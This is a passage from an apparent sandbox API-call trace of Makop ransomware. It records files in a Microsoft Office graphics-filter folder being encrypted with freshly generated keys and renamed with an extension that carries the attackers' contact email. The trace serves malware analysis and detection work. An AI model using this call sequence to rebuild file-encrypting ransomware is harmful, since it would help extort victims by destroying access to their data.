hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x93f6e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x93f6e, lpOverlapped=0x0) returned 1 [0085.545] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x93f70, dwBufLen=0x93f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x93f70) returned 1 [0085.581] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.582] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x93f70, lpOverlapped=0x0) returned 1 [0085.585] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x94044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.586] SetEndOfFile (hFile=0xf0) returned 1 [0085.593] GetProcessHeap () returned 0x48a0000 [0085.593] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.593] GetProcessHeap () returned 0x48a0000 [0085.593] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.593] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.596] CloseHandle (hObject=0xf0) returned 1 [0085.596] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0085.596] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0085.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.597] GetProcessHeap () returned 0x48a0000 [0085.597] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.597] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.597] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.597] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.597] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.597] GetProcessHeap () returned 0x48a0000 [0085.597] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.597] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.597] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.597] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.602] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.602] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.603] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.603] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.603] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.604] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.604] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xadf90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xadf90, lpOverlapped=0x0) returned 1 [0085.622] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xadf90, dwBufLen=0xadf90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xadf90) returned 1 [0085.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xadf90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xadf90, lpOverlapped=0x0) returned 1 [0085.637] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xae064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.637] SetEndOfFile (hFile=0xf0) returned 1 [0085.648] GetProcessHeap () returned 0x48a0000 [0085.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.648] GetProcessHeap () returned 0x48a0000 [0085.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.648] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.649] CloseHandle (hObject=0xf0) returned 1 [0085.649] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0085.649] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0085.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.667] GetProcessHeap () returned 0x48a0000 [0085.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.667] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.667] GetProcessHeap () returned 0x48a0000 [0085.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.667] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.667] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.667] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.673] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.673] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.673] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.674] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.674] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.674] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.674] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e380, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e380, lpOverlapped=0x0) returned 1 [0085.684] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e380, dwBufLen=0x4e380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e380) returned 1 [0085.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e380, lpOverlapped=0x0) returned 1 [0085.691] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.691] SetEndOfFile (hFile=0xf0) returned 1 [0085.698] GetProcessHeap () returned 0x48a0000 [0085.698] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.698] GetProcessHeap () returned 0x48a0000 [0085.699] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.699] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.700] CloseHandle (hObject=0xf0) returned 1 [0085.700] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0085.700] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0085.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.702] GetProcessHeap () returned 0x48a0000 [0085.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.702] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.703] GetProcessHeap () returned 0x48a0000 [0085.703] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.703] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.703] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.710] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.710] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.710] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.710] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.711] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ad80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3ad80, lpOverlapped=0x0) returned 1 [0085.716] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ad80, dwBufLen=0x3ad80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ad80) returned 1 [0085.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ad80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ad80, lpOverlapped=0x0) returned 1 [0085.725] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ae54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.725] SetEndOfFile (hFile=0xf0) returned 1 [0085.736] GetProcessHeap () returned 0x48a0000 [0085.736] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.736] GetProcessHeap () returned 0x48a0000 [0085.736] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.736] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.737] CloseHandle (hObject=0xf0) returned 1 [0085.738] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0085.738] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0085.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.740] GetProcessHeap () returned 0x48a0000 [0085.740] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.740] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.740] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0085.744] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.744] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.744] GetProcessHeap () returned 0x48a0000 [0085.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.745] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.745] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.746] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.746] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.746] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 